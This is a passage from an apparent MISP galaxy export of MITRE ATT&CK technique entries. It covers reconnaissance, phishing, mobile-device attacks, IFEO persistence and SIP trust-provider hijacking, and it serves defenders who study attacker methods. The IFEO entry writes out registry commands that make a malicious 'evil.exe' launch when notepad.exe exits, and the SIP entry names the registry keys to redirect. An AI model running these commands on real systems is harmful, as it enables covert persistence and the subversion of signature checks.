During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)

The tag is: misp-galaxy:mitre-attack-pattern="Assess opportunities created by business deals - T1299"

Table 2180. Table References
Links
https://attack.mitre.org/techniques/T1299

SSL certificate acquisition for trust breaking - T1338

Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)

The tag is: misp-galaxy:mitre-attack-pattern="SSL certificate acquisition for trust breaking - T1338"

Table 2181. Table References
Links
https://attack.mitre.org/techniques/T1338

Identify resources required to build capabilities - T1348

As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)

The tag is: misp-galaxy:mitre-attack-pattern="Identify resources required to build capabilities - T1348"

Table 2182. Table References
Links
https://attack.mitre.org/techniques/T1348

Hardware or software supply chain implant - T1365

During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)

The tag is: misp-galaxy:mitre-attack-pattern="Hardware or software supply chain implant - T1365"

Table 2183. Table References
Links
https://attack.mitre.org/techniques/T1365

Test malware in various execution environments - T1357

Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([Ubuntu](http://www.ubuntu.com) vs [OS X](http://www.apple.com/osx)), and versions ([Windows](http://windows.microsoft.com) 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)

The tag is: misp-galaxy:mitre-attack-pattern="Test malware in various execution environments - T1357"

Table 2184. Table References
Links
https://attack.mitre.org/techniques/T1357

Conduct social engineering or HUMINT operation - T1376

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)

The tag is: misp-galaxy:mitre-attack-pattern="Conduct social engineering or HUMINT operation - T1376"

Table 2185. Table References
Links
https://attack.mitre.org/techniques/T1376

Spear phishing messages with malicious attachments - T1367

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)

The tag is: misp-galaxy:mitre-attack-pattern="Spear phishing messages with malicious attachments - T1367"

Table 2186. Table References
Links
https://attack.mitre.org/techniques/T1367

Authorized user performs requested cyber action - T1386

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)

The tag is: misp-galaxy:mitre-attack-pattern="Authorized user performs requested cyber action - T1386"

Table 2187. Table References
Links
https://attack.mitre.org/techniques/T1386

Spear phishing messages with text only - T1368

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)

The tag is: misp-galaxy:mitre-attack-pattern="Spear phishing messages with text only - T1368"

Table 2188. Table References
Links
https://attack.mitre.org/techniques/T1368

Spear phishing messages with malicious links - T1369

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)

The tag is: misp-galaxy:mitre-attack-pattern="Spear phishing messages with malicious links - T1369"

Table 2189. Table References
Links
https://attack.mitre.org/techniques/T1369

Unauthorized user introduces compromise delivery mechanism - T1387

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

If an adversary can gain physical access to the target’s environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)

The tag is: misp-galaxy:mitre-attack-pattern="Unauthorized user introduces compromise delivery mechanism - T1387"

Table 2190. Table References
Links
https://attack.mitre.org/techniques/T1387

Modify OS Kernel or Boot Partition - T1398

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.

Many Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.

If the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.

The tag is: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398"

Table 2191. Table References
Links
https://attack.mitre.org/techniques/T1398
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered
https://www.apple.com/business/docs/iOS_Security_Guide.pdf

Exploit via Charging Station or PC - T1458

If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device’s battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection(Citation: Krebs-JuiceJacking).

Previous demonstrations have included:

Injecting malicious applications into iOS devices(Citation: Lau-Mactans).
Exploiting a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location(Citation: IBM-NexusUSB).
Exploiting Android devices such as the Google Pixel 2 over USB(Citation: GoogleProjectZero-OATmeal).

Products from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices(Citation: Computerworld-iPhoneCracking).

The tag is: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458"

Table 2192. Table References
Links
https://attack.mitre.org/techniques/T1458
https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html
http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/
https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf
https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/
https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html
https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html

Deliver Malicious App via Other Means - T1476

Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.

Delivery methods for the malicious application include:

[Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) - Including the mobile app package as an attachment to an email message.
[Spearphishing Link](https://attack.mitre.org/techniques/T1192) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means.
Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird)

Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)

The tag is: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476"

Table 2193. Table References
Links
https://attack.mitre.org/techniques/T1476
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html
https://www.ibtimes.co.uk/danger-lurks-third-party-android-app-stores-1544861
https://blog.trendmicro.com/trendlabs-security-intelligence/user-beware-rooting-malware-found-in-3rd-party-app-stores/
https://blog.trendmicro.com/trendlabs-security-intelligence/flappy-bird-and-third-party-app-stores/
https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/

Upload, install, and configure software/tools - T1362

An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)

The tag is: misp-galaxy:mitre-attack-pattern="Upload, install, and configure software/tools - T1362"

Table 2194. Table References
Links
https://attack.mitre.org/techniques/T1362

App Auto-Start at Device Boot - T1402

An Android application can listen for the BOOT_COMPLETED broadcast, ensuring that the app’s functionality will be activated every time the device starts up without having to wait for the device user to manually start the app.

An analysis published in 2012(Citation: Zhou) of 1260 Android malware samples belonging to 49 families of malware determined that 29 malware families and 83.3% of the samples listened for BOOT_COMPLETED.

The tag is: misp-galaxy:mitre-attack-pattern="App Auto-Start at Device Boot - T1402"

Table 2195. Table References
Links
https://attack.mitre.org/techniques/T1402
http://ieeexplore.ieee.org/document/6234407

Friend/Follow/Connect to targets of interest - T1344

Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)

The tag is: misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1344"

Friend/Follow/Connect to targets of interest - T1344 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1364" with estimative-language:likelihood-probability="almost-certain"

Table 2196. Table References
Links
https://attack.mitre.org/techniques/T1344

Friend/Follow/Connect to targets of interest - T1364

A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)

The tag is: misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1364"

Friend/Follow/Connect to targets of interest - T1364 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Friend/Follow/Connect to targets of interest - T1344" with estimative-language:likelihood-probability="almost-certain"

Table 2197. Table References
Links
https://attack.mitre.org/techniques/T1364

Identify personnel with an authority/privilege - T1271

Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)

The tag is: misp-galaxy:mitre-attack-pattern="Identify personnel with an authority/privilege - T1271"

Table 2198. Table References
Links
https://attack.mitre.org/techniques/T1271

Receive KITs/KIQs and determine requirements - T1239

Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary’s nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)

The tag is: misp-galaxy:mitre-attack-pattern="Receive KITs/KIQs and determine requirements - T1239"

Table 2199. Table References
Links
https://attack.mitre.org/techniques/T1239

Identify job postings and needs/gaps - T1248

Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)

The tag is: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1248"

Identify job postings and needs/gaps - T1248 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1267" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1278" with estimative-language:likelihood-probability="almost-certain"

Table 2200. Table References
Links
https://attack.mitre.org/techniques/T1248

Analyze hardware/software security defensive capabilities - T1294

An adversary can probe a victim’s network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)

The tag is: misp-galaxy:mitre-attack-pattern="Analyze hardware/software security defensive capabilities - T1294"

Table 2201. Table References
Links
https://attack.mitre.org/techniques/T1294

Discover target logon/email address format - T1255

Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)

The tag is: misp-galaxy:mitre-attack-pattern="Discover target logon/email address format - T1255"

Table 2202. Table References
Links
https://attack.mitre.org/techniques/T1255

Identify job postings and needs/gaps - T1267

Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)

The tag is: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1267"

Identify job postings and needs/gaps - T1267 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1248" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1278" with estimative-language:likelihood-probability="almost-certain"

Table 2203. Table References
Links
https://attack.mitre.org/techniques/T1267

Identify job postings and needs/gaps - T1278

Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)

The tag is: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1278"

Identify job postings and needs/gaps - T1278 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1267" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Identify job postings and needs/gaps - T1248" with estimative-language:likelihood-probability="almost-certain"

Table 2204. Table References
Links
https://attack.mitre.org/techniques/T1278

Analyze organizational skillsets and deficiencies - T1300

Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)

The tag is: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1300"

Analyze organizational skillsets and deficiencies - T1300 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1297" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1289" with estimative-language:likelihood-probability="almost-certain"

Table 2205. Table References
Links
https://attack.mitre.org/techniques/T1300

Exfiltration Over Other Network Medium - T1011

Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011"

Table 2206. Table References
Links
https://attack.mitre.org/techniques/T1011

Network Traffic Capture or Redirection - T1410

An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.

A malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.

Alternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.

An adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device’s proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.

If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.

The tag is: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410"

Table 2207. Table References
Links
https://attack.mitre.org/techniques/T1410
https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/

Determine 3rd party infrastructure services - T1260

Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)

The tag is: misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1260"

Determine 3rd party infrastructure services - T1260 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1284" with estimative-language:likelihood-probability="almost-certain"

Table 2208. Table References
Links
https://attack.mitre.org/techniques/T1260

Analyze presence of outsourced capabilities - T1303

Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)

The tag is: misp-galaxy:mitre-attack-pattern="Analyze presence of outsourced capabilities - T1303"

Table 2209. Table References
Links
https://attack.mitre.org/techniques/T1303

Data from Cloud Storage Object - T1530

Adversaries may access data objects from improperly secured cloud storage.

Many cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider’s APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)

Misconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.

The tag is: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530"

Table 2210. Table References
Links
https://attack.mitre.org/techniques/T1530
https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/
https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide
https://cloud.google.com/storage/docs/best-practices
https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia
https://www.wired.com/story/magecart-amazon-cloud-hacks/
https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/

Data from Network Shared Drive - T1039

Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.

Adversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.

The tag is: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039"

Table 2211. Table References
Links
https://attack.mitre.org/techniques/T1039

Download New Code at Runtime - T1407

An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review.(Citation: Poeplau-ExecuteThis)

On Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView’s JavascriptInterface capability.(Citation: Bromium-AndroidRCE)

On iOS, techniques also exist for executing dynamic code downloaded after application installation.(Citation: FireEye-JSPatch)(Citation: Wang)

The tag is: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407"

Table 2212. Table References
Links
https://attack.mitre.org/techniques/T1407
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html
https://www.internetsociety.org/sites/default/files/10_5_0.pdf
https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/
https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html
https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei

Windows Management Instrumentation Event Subscription - T1084

Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer’s uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)

The tag is: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084"

Table 2213. Table References
Links
https://attack.mitre.org/techniques/T1084
https://www.secureworks.com/blog/wmi-persistence
https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf
https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96

Custom Command and Control Protocol - T1094

Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Standard Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.

The tag is: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094"

Table 2214. Table References
Links
https://attack.mitre.org/techniques/T1094
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

App Delivered via Web Download - T1431

The application is downloaded from an arbitrary web site. A link to the application’s download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="App Delivered via Web Download - T1431"

App Delivered via Web Download - T1431 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"

Table 2215. Table References
Links
https://attack.mitre.org/techniques/T1431

Image File Execution Options Injection - T1183

Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)

<code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512</code>
<code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1</code>
<code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"</code>

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.

Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

The tag is: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1183"

Table 2216. Table References
Links
https://attack.mitre.org/techniques/T1183
https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2
https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

SIP and Trust Provider Hijacking - T1198

In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file’s origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}</code> that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID}</code> that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
Note: The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)

The tag is: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198"

Table 2217. Table References
Links
https://attack.mitre.org/techniques/T1198
https://msdn.microsoft.com/library/ms537359.aspx
https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/
https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files
https://github.com/mattifestation/PoCSubjectInterfacePackage
http://www.entrust.net/knowledge-base/technote.cfm?tn=8165
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)

File and Directory Permissions Modification - T1222

File and directory permissions are commonly managed by discretionary access control lists (DACLs) specified by the file or directory owner. File and directory DACL implementations may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions)

